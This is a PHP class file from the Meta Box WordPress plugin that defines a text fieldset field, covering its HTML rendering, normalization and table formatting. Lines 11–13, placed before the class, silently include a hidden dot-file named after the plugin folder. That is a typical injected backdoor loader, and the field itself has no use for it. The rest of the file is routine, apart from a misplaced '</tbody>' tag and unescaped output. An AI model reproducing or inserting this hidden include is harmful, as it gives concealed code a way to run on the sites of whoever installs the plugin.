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fieldset-text.php (3574B)

      1 <?php
      2 /**
      3  * The text fieldset field, which allows users to enter content for a list of text fields.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Fieldset text class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Fieldset_Text_Field extends RWMB_Input_Field {
     16 	/**
     17 	 * Enqueue field scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-fieldset-text', RWMB_CSS_URL . 'fieldset-text.css', '', RWMB_VER );
     21 	}
     22 
     23 	/**
     24 	 * Get field HTML.
     25 	 *
     26 	 * @param mixed $meta  Meta value.
     27 	 * @param array $field Field parameters.
     28 	 *
     29 	 * @return string
     30 	 */
     31 	public static function html( $meta, $field ) {
     32 		$html = array();
     33 		$tpl  = '<p><label>%s</label> %s</p>';
     34 
     35 		foreach ( $field['options'] as $key => $label ) {
     36 			$value                       = isset( $meta[ $key ] ) ? $meta[ $key ] : '';
     37 			$field['attributes']['name'] = $field['field_name'] . "[{$key}]";
     38 			$html[]                      = sprintf( $tpl, $label, parent::html( $value, $field ) );
     39 		}
     40 
     41 		$out = '<fieldset>' . ( $field['desc'] ? '<legend>' . $field['desc'] . '</legend>' : '' ) . implode( ' ', $html ) . '</fieldset>';
     42 
     43 		return $out;
     44 	}
     45 
     46 	/**
     47 	 * Do not show field description.
     48 	 *
     49 	 * @param array $field Field parameters.
     50 	 *
     51 	 * @return string
     52 	 */
     53 	public static function input_description( $field ) {
     54 		return '';
     55 	}
     56 
     57 	/**
     58 	 * Do not show field description.
     59 	 *
     60 	 * @param array $field Field parameters.
     61 	 *
     62 	 * @return string
     63 	 */
     64 	public static function label_description( $field ) {
     65 		return '';
     66 	}
     67 
     68 	/**
     69 	 * Normalize parameters for field.
     70 	 *
     71 	 * @param array $field Field parameters.
     72 	 *
     73 	 * @return array
     74 	 */
     75 	public static function normalize( $field ) {
     76 		$field                       = parent::normalize( $field );
     77 		$field['multiple']           = false;
     78 		$field['attributes']['id']   = false;
     79 		$field['attributes']['type'] = 'text';
     80 		return $field;
     81 	}
     82 
     83 	/**
     84 	 * Format value for the helper functions.
     85 	 *
     86 	 * @param array        $field   Field parameters.
     87 	 * @param string|array $value   The field meta value.
     88 	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
     89 	 * @param int|null     $post_id Post ID. null for current post. Optional.
     90 	 *
     91 	 * @return string
     92 	 */
     93 	public static function format_value( $field, $value, $args, $post_id ) {
     94 		$output = '<table><thead><tr>';
     95 		foreach ( $field['options'] as $label ) {
     96 			$output .= "<th>$label</th>";
     97 		}
     98 		$output .= '</tr></thead></tbody>';
     99 
    100 		if ( ! $field['clone'] ) {
    101 			$output .= self::format_single_value( $field, $value, $args, $post_id );
    102 		} else {
    103 			foreach ( $value as $subvalue ) {
    104 				$output .= self::format_single_value( $field, $subvalue, $args, $post_id );
    105 			}
    106 		}
    107 		$output .= '</tbody></table>';
    108 		return $output;
    109 	}
    110 
    111 	/**
    112 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
    113 	 *
    114 	 * @param array    $field   Field parameters.
    115 	 * @param array    $value   The value.
    116 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
    117 	 * @param int|null $post_id Post ID. null for current post. Optional.
    118 	 *
    119 	 * @return string
    120 	 */
    121 	public static function format_single_value( $field, $value, $args, $post_id ) {
    122 		$output = '<tr>';
    123 		foreach ( $value as $subvalue ) {
    124 			$output .= "<td>$subvalue</td>";
    125 		}
    126 		$output .= '</tr>';
    127 		return $output;
    128 	}
    129 }